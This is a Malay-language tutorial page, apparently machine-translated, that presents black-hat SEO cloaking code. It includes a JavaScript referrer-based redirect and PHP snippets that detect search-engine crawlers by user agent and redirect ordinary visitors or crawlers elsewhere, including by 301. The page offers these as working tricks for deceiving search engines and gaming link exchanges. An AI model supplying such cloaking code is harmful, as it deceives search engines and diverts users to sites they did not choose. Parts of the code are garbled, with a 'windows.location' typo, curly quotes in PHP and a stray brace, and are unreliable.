Rumah >hujung hadapan web >tutorial js >Tentukan kod labah-labah kod lompat topi hitam berdasarkan ejen pengguna (versi js dan versi php)_kemahiran javascript

Tentukan kod labah-labah kod lompat topi hitam berdasarkan ejen pengguna (versi js dan versi php)_kemahiran javascript

WBOY
WBOYasal
2016-05-16 15:39:271324semak imbas

Terdapat helah yang semua orang gunakan dalam kaedah SEO topi hitam Pelayan menentukan ejen pengguna penyemak imbas pelanggan dan kemudian melakukan operasi selanjutnya

Selalu ada orang yang menggunakan kod ini di Internet Pertama, ia adalah kod js untuk menentukan dari mana pelawat tapak web itu datang dari enjin carian, ia akan melompat tidak akan berubah. Kod ini ditemui dari Internet untuk masa yang lama. Terima kasih untuk Pengarang asal

<script language="javascript">
var pattern = /google/gi;
var pattern1= /yahoo/gi;
var keyValue=escape(document.referrer);
if (pattern.exec(keyValue))
setTimeout(
"windows.location='http://www.jb51.net'",10*1000);
else if(pattern1.exec(keyValue))
setTimeout(
"window.location='http://www.jb51.net'",10*1000);
</script>
Jika ia adalah ejen pengguna enjin carian, ia akan diubah hala oleh 301. Pada masa ini, ramai orang di Internet menggunakan kaedah ini untuk menipu pautan mesra (kod akan diletakkan pada penghujung)

Terdapat banyak lagi idea khusus, lompat, halaman Qiao, dll. Hari ini saya hanya akan mengeluarkan kod PHP

Pernyataan: Semua kod daripada Baidu Mari kita tulis yang ringkas dahulu

Tentukan berdasarkan $_SERVER['HTTP_USER_AGENT'] php

<&#63;php
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    echo '谷歌';
} else if(strpos($tmp, 'Baiduspider') >0){
    echo '百度';
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    echo '雅虎';
} else if(strpos($tmp, 'msnbot') !== false){
    echo 'Msn';
} else if(strpos($tmp, 'Sosospider') !== false){
    echo '搜搜';
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    echo '有道';
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    echo '搜狗';
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    echo 'Alltheweb';
} else if(strpos($tmp, 'Gaisbot') !== false){
    echo 'Gais';
} else if(strpos($tmp, 'ia_archiver') !== false){
    echo 'Alexa';
} else if(strpos($tmp, 'altavista') !== false){
    echo 'AltaVista';
} else if(strpos($tmp, 'lycos_spider') !== false){
    echo 'Lycos';
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    echo 'Inktomi';
}
&#63;>
Perenggan kedua dengan lompat

<&#63;php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   header("Location: http://www.jb51.net" . $_SERVER['REQUEST_URI']);
    // 自动转到http://www.jb51.net 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成 header("Location: http://www.jb51.net/abc/d.php");
   exit();
}
&#63;>
Sekeping kod ketiga ialah lompatan 301 selepas penghakiman

if (preg_match(“#(google|slurp@inktomi|yahoo! slurp|msnbot)#si”, $_SERVER['HTTP_USER_AGENT'])) {
 
header(“HTTP/1.1 301 Moved Permanently”);
header(“Location: http://www.saoyu.com/”);
exit;
 
}}
Kaedah topi hitam adalah berisiko, sila gunakannya dengan berhati-hati. Kalau kawan-kawan yang tertipu tu rasa nak cari pintu belakang.

Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn